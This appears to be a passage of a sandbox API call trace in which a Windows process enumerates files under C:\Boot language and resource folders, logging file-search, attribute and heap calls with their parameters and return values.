ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.364] GetCurrentThreadId () returned 0x9b0 [0117.364] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0117.364] GetCurrentThreadId () returned 0x9b0 [0117.364] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0117.364] GetCurrentThreadId () returned 0x9b0 [0117.364] FindClose (in: hFindFile=0x10f7690 | out: hFindFile=0x10f7690) returned 1 [0117.364] GetFileAttributesA (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0117.365] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.365] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0117.365] GetCurrentThreadId () returned 0x9b0 [0117.365] GetFileAttributesA (lpFileName="C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui")) returned 0x20 [0117.365] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.365] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0117.365] GetCurrentThreadId () returned 0x9b0 [0117.365] GetFullPathNameA (in: lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\pt-PT\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0117.365] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0117.365] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0117.366] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0117.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0117.366] GetCurrentThreadId () returned 0x9b0 [0117.366] GetFullPathNameA (in: lpFileName="C:\\Boot\\pt-PT\\memtest.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\pt-PT\\memtest.exe.mui", lpFilePart=0x9bada4*="memtest.exe.mui") returned 0x1d [0117.366] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0117.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0117.366] GetCurrentThreadId () returned 0x9b0 [0117.366] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0117.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0117.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0117.366] FindFirstFileA (in: lpFileName="C:\\Boot\\qps-ploc\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7510 [0117.367] GetCurrentThreadId () returned 0x9b0 [0117.367] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.367] GetCurrentThreadId () returned 0x9b0 [0117.367] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12160, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.367] GetCurrentThreadId () returned 0x9b0 [0117.367] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0117.367] GetCurrentThreadId () returned 0x9b0 [0117.367] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0117.367] GetCurrentThreadId () returned 0x9b0 [0117.368] FindClose (in: hFindFile=0x10f7510 | out: hFindFile=0x10f7510) returned 1 [0117.368] GetCurrentThreadId () returned 0x9b0 [0117.368] GetFileAttributesA (lpFileName="C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui")) returned 0x20 [0117.368] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0117.368] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0117.368] GetFileAttributesA (lpFileName="C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui")) returned 0x20 [0117.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0117.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0117.369] GetCurrentThreadId () returned 0x9b0 [0117.369] GetFullPathNameA (in: lpFileName="C:\\Boot\\qps-ploc\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\qps-ploc\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x20 [0117.369] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0117.369] GetCurrentThreadId () returned 0x9b0 [0117.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0117.369] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0117.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0117.369] GetFullPathNameA (in: lpFileName="C:\\Boot\\qps-ploc\\memtest.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\qps-ploc\\memtest.exe.mui", lpFilePart=0x9bada4*="memtest.exe.mui") returned 0x20 [0117.370] GetCurrentThreadId () returned 0x9b0 [0117.370] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0117.370] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0117.370] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0117.370] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0117.370] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0117.370] GetCurrentThreadId () returned 0x9b0 [0117.370] FindFirstFileA (in: lpFileName="C:\\Boot\\Resources\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7650 [0117.370] GetCurrentThreadId () returned 0x9b0 [0117.370] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.371] GetCurrentThreadId () returned 0x9b0 [0117.371] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9abff9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef597530, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x169a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootres.dll", cAlternateFileName="")) returned 1 [0117.371] GetCurrentThreadId () returned 0x9b0 [0117.371] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="en-US", cAlternateFileName="")) returned 1 [0117.371] GetCurrentThreadId () returned 0x9b0 [0117.371] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="en-US", cAlternateFileName="")) returned 0 [0117.371] GetCurrentThreadId () returned 0x9b0 [0117.371] FindClose (in: hFindFile=0x10f7650 | out: hFindFile=0x10f7650) returned 1 [0117.371] GetFileAttributesA (lpFileName="C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll")) returned 0x20 [0117.372] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.372] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0117.372] GetCurrentThreadId () returned 0x9b0 [0117.372] GetFileAttributesA (lpFileName="C:\\Boot\\Resources\\en-US" (normalized: "c:\\boot\\resources\\en-us")) returned 0x10 [0117.372] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e2c88 | out: hHeap=0x2ad0000) returned 1 [0117.372] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0117.372] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0117.372] GetFullPathNameA (in: lpFileName="C:\\Boot\\Resources\\bootres.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\Resources\\bootres.dll", lpFilePart=0x9bada4*="bootres.dll") returned 0x1d [0117.373] GetCurrentThreadId () returned 0x9b0 [0117.373] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0117.373] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0117.373] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0117.373] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0117.373] GetCurrentThreadId () returned 0x9b0 [0117.373] FindFirstFileA (in: lpFileName="C:\\Boot\\Resources\\en-US\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7450 [0117.373] GetCurrentThreadId () returned 0x9b0 [0117.373] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.374] GetCurrentThreadId () returned 0x9b0 [0117.374] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 1 [0117.374] GetCurrentThreadId () returned 0x9b0 [0117.374] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 0 [0117.374] GetCurrentThreadId () returned 0x9b0 [0117.374] FindClose (in: hFindFile=0x10f7450 | out: hFindFile=0x10f7450) returned 1 [0117.374] GetFileAttributesA (lpFileName="C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui")) returned 0x20 [0117.374] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0117.374] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0117.375] GetCurrentThreadId () returned 0x9b0 [0117.375] GetFullPathNameA (in: lpFileName="C:\\Boot\\Resources\\en-US\\bootres.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\Resources\\en-US\\bootres.dll.mui", lpFilePart=0x9bada4*="bootres.dll.mui") returned 0x27 [0117.375] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0117.375] GetCurrentThreadId () returned 0x9b0 [0117.375] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0117.375] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0117.375] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0117.375] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0117.375] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0117.375] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0117.375] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0117.376] GetCurrentThreadId () returned 0x9b0 [0117.376] FindFirstFileA (in: lpFileName="C:\\Boot\\ro-RO\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7310 [0117.376] GetCurrentThreadId () returned 0x9b0 [0117.376] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.376] GetCurrentThreadId () returned 0x9b0 [0117.376] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.376] GetCurrentThreadId () returned 0x9b0 [0117.376] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.377] GetCurrentThreadId () returned 0x9b0 [0117.377] FindClose (in: hFindFile=0x10f7310 | out: hFindFile=0x10f7310) returned 1 [0117.377] GetFileAttributesA (lpFileName="C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui")) returned 0x20 [0117.377] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.377] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0117.377] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0117.377] GetCurrentThreadId () returned 0x9b0 [0117.377] GetFullPathNameA (in: lpFileName="C:\\Boot\\ro-RO\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\ro-RO\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0117.377] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0117.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0117.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0117.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0117.378] GetCurrentThreadId () returned 0x9b0 [0117.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0117.378] FindFirstFileA (in: lpFileName="C:\\Boot\\ru-RU\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f76d0 [0117.378] GetCurrentThreadId () returned 0x9b0 [0117.378] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.378] GetCurrentThreadId () returned 0x9b0 [0117.379] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.379] GetCurrentThreadId () returned 0x9b0 [0117.379] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0117.379] GetCurrentThreadId () returned 0x9b0 [0117.379] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0117.379] GetCurrentThreadId () returned 0x9b0 [0117.379] FindClose (in: hFindFile=0x10f76d0 | out: hFindFile=0x10f76d0) returned 1 